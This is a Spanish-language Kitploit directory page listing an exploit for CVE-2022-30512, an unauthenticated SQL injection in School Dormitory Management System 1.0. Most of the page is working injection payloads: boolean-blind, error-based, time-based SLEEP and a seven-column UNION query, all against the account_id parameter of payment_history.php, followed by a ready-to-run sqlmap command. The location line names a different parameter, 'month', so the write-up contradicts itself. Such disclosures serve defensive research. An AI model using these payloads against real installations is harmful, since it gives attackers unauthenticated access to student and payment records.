Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-30512 — Sistema de Gestión de Dormitorios Escolares 1.0 - Inyección SQL sin autenticación | Kitploit
Herramientas/GitHubGitHub/bigzooooz/cve-2022-30512
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubbigzooooz/cve-2022-30512

CVE-2022-30512

Sistema de Gestión de Dormitorios Escolares 1.0 - Inyección SQL sin autenticación

Ver Repositorio
1hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-30512

Sistema de Gestión de Dormitorios Escolares 1.0 - Inyección SQL no autenticada

Título del Exploit: Sistema de Gestión de Dormitorios Escolares 1.0 - Inyección SQL no autenticada

Fecha: 2022-05-25

CVE: CVE-2022-30512

Autor del Exploit: Abdulaziz Saad (@b4zb0z)

Página del vendedor: https://www.sourcecodester.com/

Enlace del software:

https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Versión: 1.0

Probado en: LAMP, Ubuntu

[#] Ubicación de la vulnerabilidad: $_GET['month'] en /dms/admin/accounts/payment_history.php:31

root@kitploit:~
Parámetro: account_id (GET)
root@kitploit:~
Tipo: ciego basado en booleanos
Título: AND ciego basado en booleanos - cláusula WHERE o HAVING
Payload: account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
root@kitploit:~
Tipo: basado en errores
root@kitploit:~
Título: MySQL >= 5.0 AND basado en errores - cláusula WHERE, HAVING, ORDER BY o GROUP BY (FLOOR)
Payload: account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
root@kitploit:~
Tipo: ciego basado en tiempo
root@kitploit:~
Título: MySQL >= 5.0.12 AND ciego basado en tiempo (query SLEEP)
Payload: account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
root@kitploit:~
Tipo: consulta UNION
root@kitploit:~
Título: Consulta UNION genérica (NULL) - 7 columnas
Payload: account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

[#] Explotación usando SQLMAP: sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql

Descargar herramienta